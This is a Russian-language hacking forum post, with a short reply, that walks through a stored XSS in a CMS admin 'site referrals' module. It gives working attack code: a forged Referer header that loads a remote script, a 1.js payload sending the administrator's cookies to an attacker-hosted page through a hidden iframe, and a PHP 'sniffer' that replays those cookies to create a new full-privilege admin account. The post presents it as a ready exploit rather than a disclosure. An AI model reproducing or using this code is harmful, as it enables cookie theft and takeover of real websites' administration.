Итак, сейчас хочу рассмотреть одну из активных XSS уязвимостей, которая позволяет атакующему захватить кукисы администратора, и тем самым, авторизироватся под админом посредством подстановки его кук. На данном этапе, Я не остановился, и был написан полноценный функциональный сниффер, авторизирующийся под украденными куками, который позволяет создать нового админа с максимальными привилегиями. Само собой, это все происходит за доли секундs, и без никакого палева. [XSS уязвимость] Рассмотрим одну из уязвимостей. Она довольно интересная, посему Я остановился именно на ней. XSS дырка находится в модуле админки «Переходы с сайтов». Именно там хранятся реферы с других сайтов, повидимому для статистики. Так вот, если отправить запрос сайту с поддельным рефером(Referer), где в его роли будет выступать XSS код, то он успешно сохранится в «Переходы с сайтов». Так как фильтрация в скрипте, отвечающего за проверяние(сохранение) входящего Referer`a, не предусмотрена, то админ просматривая статистику, словит нашу XSS`ку. PHP: <td style="text-align:left" class="tab"><a target="_blank" href="<scrіpt>alert(document.cookie)</scrіpt>"><scrіpt>alert(document.cookie)</scrіpt> </a></td> Как же подделать запрос стандартными методами? Можно написать свой собственный скрипт, а можно воспользоватся специальной прогой, например InetCrack (C)Algol-antichat.ru. Теперь, если послать поддельный запрос, который ты видишь на скрине, админ словит алерт со своими куками. Само собой, от этого толку мало, посему напишем небольшой скрипт, который будет принимать украденные куки администратора, авторизироватся под ними, заходить в модуль «Управление администраторами» и создавать нового админа с максимальными привилегиями. [Функциональный сниффер] PHP: <? // PinkPanther [[email protected]] $query=$_SERVER["QUERY_STRING"];$query=urldecode($query); //Add new admin$name="new_admin";$login="new_admin";$email="[email protected]";$password="12345";$host="Yjazvimyj_host";$full_link="http://".$host."/admin.php?mod=admins"; $data="mod=admins&add_name=".$name."&add_aid=".$login."&add_email=".$email."&add_pwd=".$password."&mod_list%5B%5D=admins&mod_list%5B%5D=articles&mod_list%5B%5D=backup&mod_list%5B%5D=banners&mod_list%5B%5D=blocker&mod_list%5B%5D=blocks&mod_list%5B%5D=configure&mod_list%5B%5D=files&mod_list%5B%5D=messages&mod_list%5B%5D=modules&mod_list%5B%5D=news&mod_list%5B%5D=optimize&mod_list%5B%5D=pages&mod_list%5B%5D=polls&mod_list%5B%5D=referers&mod_list%5B%5D=topics&mod_list%5B%5D=uploader&op=AddAdmin";$data_lenght=strlen($data); $header="POST ".$full_link." HTTP/1.0\r\n";$header.="Referer: ".$full_link."\r\n";$header.="Content-Type: application/x-www-form-urlencoded\r\n";$header.="Host: ".$host."\r\n";$header.="Content-Length: ".$data_lenght."\r\n";$header.="Cookie:".$query."\r\n";$header.="\r\n";$header.="".$data.""; $fp=fsockopen("$host", 80); fwrite($fp, $header); fclose($fp); ?> [Собираем все вместе] Теперь соберем все вместе. Для начала составим XSS сплойт, который бы отсылал админские куки на наш скрипт. Стандартная конструкция нам не подойдет, ибо максимальная длинна Referer`a должны быть не больше 60 символов. Посему, прийдется подгружать скрипт с удаленного ресурса. Поместим на наш сайт(«site») файл 1.js, в который впишем, например!!, такую вот строку: PHP: document.write('<iframe width=0 height=0 srс="'+'http://site/nuke.php'+ '?'+document.cookie+'"></iframe>'); где, «site» – это сайт на котором находится наш php скрипт называющийся nuke.php. После отправим запрос уязвимому ресурсу, где в Referer поместим строку: PHP: <scrіpt srс='http://site/1.js'></scrіpt> Теперь, когда администратор просмотрит «Переходы с сайтов», его куки улетят на функциональный сниффер, который создаст нового админа с именем «new_admin» и паролем «123456». Сайт на котором будет находится наш php сплойт, должен поддерживать выполнение php и разрешать исходящие соединения.
Сорри кнешно но я ее же находил уже ) Щас линк дам http://site.pyccxak.com/modules.php?name=News&file=view&news_id=48 Давно причем